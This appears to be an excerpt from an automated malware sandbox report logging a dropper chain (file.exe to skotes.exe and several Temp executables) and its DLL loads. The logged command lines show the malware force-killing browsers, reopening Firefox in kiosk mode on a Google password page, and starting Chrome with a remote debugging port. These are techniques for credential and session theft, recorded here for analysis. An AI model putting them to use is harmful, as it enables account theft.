Source: d657e56348.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: d657e56348.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe "C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe "C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe "C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe "C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe"
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1468 --field-trial-handle=2056,i,3012955416416702549,4677729921786788452,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe "C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2196 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b11864e5-b0df-4bd3-ba49-9713f723c78a} 3524 "\\.\pipe\gecko-crash-server-pipe.3524" 283b0f6f710 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe "C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4060 -parentBuildID 20230927232528 -prefsHandle 3984 -prefMapHandle 4132 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5f6648a2-b370-487a-8183-4c238fe51893} 3524 "\\.\pipe\gecko-crash-server-pipe.3524" 283c3059210 rdd
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7500 -s 1628
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe "C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe "C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe"
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d657e56348.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1968,i,13570969027934469325,13318670452781412402,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe "C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe"
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d657e56348.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=2020,i,6744772953434628688,16054015691186099406,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2340 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2232 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {36ae4db8-f077-4782-b582-82aab769c46a} 7072 "\\.\pipe\gecko-crash-server-pipe.7072" 131e6e6fd10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4680 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4712 -prefMapHandle 4708 -prefsLen 32092 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a5b0849c-9612-4134-96c4-d06596c2f224} 7072 "\\.\pipe\gecko-crash-server-pipe.7072" 132006c2310 utility
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d657e56348.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2016,i,4136931338263359436,2381881144653388930,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe "C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe "C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe "C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe "C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe "C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d657e56348.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d657e56348.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d657e56348.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1468 --field-trial-handle=2056,i,3012955416416702549,4677729921786788452,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4680 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4712 -prefMapHandle 4708 -prefsLen 32092 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a5b0849c-9612-4134-96c4-d06596c2f224} 7072 "\\.\pipe\gecko-crash-server-pipe.7072" 132006c2310 utility
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe "C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2196 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b11864e5-b0df-4bd3-ba49-9713f723c78a} 3524 "\\.\pipe\gecko-crash-server-pipe.3524" 283b0f6f710 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4060 -parentBuildID 20230927232528 -prefsHandle 3984 -prefMapHandle 4132 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5f6648a2-b370-487a-8183-4c238fe51893} 3524 "\\.\pipe\gecko-crash-server-pipe.3524" 283c3059210 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1968,i,13570969027934469325,13318670452781412402,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2340 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2232 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {36ae4db8-f077-4782-b582-82aab769c46a} 7072 "\\.\pipe\gecko-crash-server-pipe.7072" 131e6e6fd10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4680 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4712 -prefMapHandle 4708 -prefsLen 32092 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a5b0849c-9612-4134-96c4-d06596c2f224} 7072 "\\.\pipe\gecko-crash-server-pipe.7072" 132006c2310 utility
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=2020,i,6744772953434628688,16054015691186099406,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2016,i,4136931338263359436,2381881144653388930,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
